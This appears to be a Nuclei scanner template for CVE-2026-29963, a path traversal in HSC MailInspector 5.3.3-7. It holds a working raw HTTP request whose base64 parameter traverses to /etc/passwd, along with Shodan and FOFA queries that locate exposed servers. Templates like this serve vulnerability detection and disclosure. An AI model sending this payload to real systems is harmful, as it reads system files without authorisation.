CVE-2026-29963: HSC MailInspector - Unauthenticated Arbitrary File Read

id: CVE-2026-29963

info:
  name: HSC MailInspector - Unauthenticated Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.
  impact: |
    Remote attackers can access arbitrary files, leading to unauthorized disclosure of sensitive information.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/sql3t0/cve-disclosures/blob/main/02_-_CVE-2026-29963_LFI%2BPath_Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29963
    - https://hsclabs.com/pt-br/mailinspector/
  classification:
    cve-id: CVE-2026-29963
    cwe-id: CWE-22
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: hsclabs
    product: mailinspector
    shodan-query: http.html:"mailinspector"
    fofa-query: body="mailinspector"
  tags: cve,cve2026,mailinspector,lfi,traversal,unauth

http:
  - raw:
      - |
        GET /mailinspector/tap/dw.php?name&sha1&ext=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
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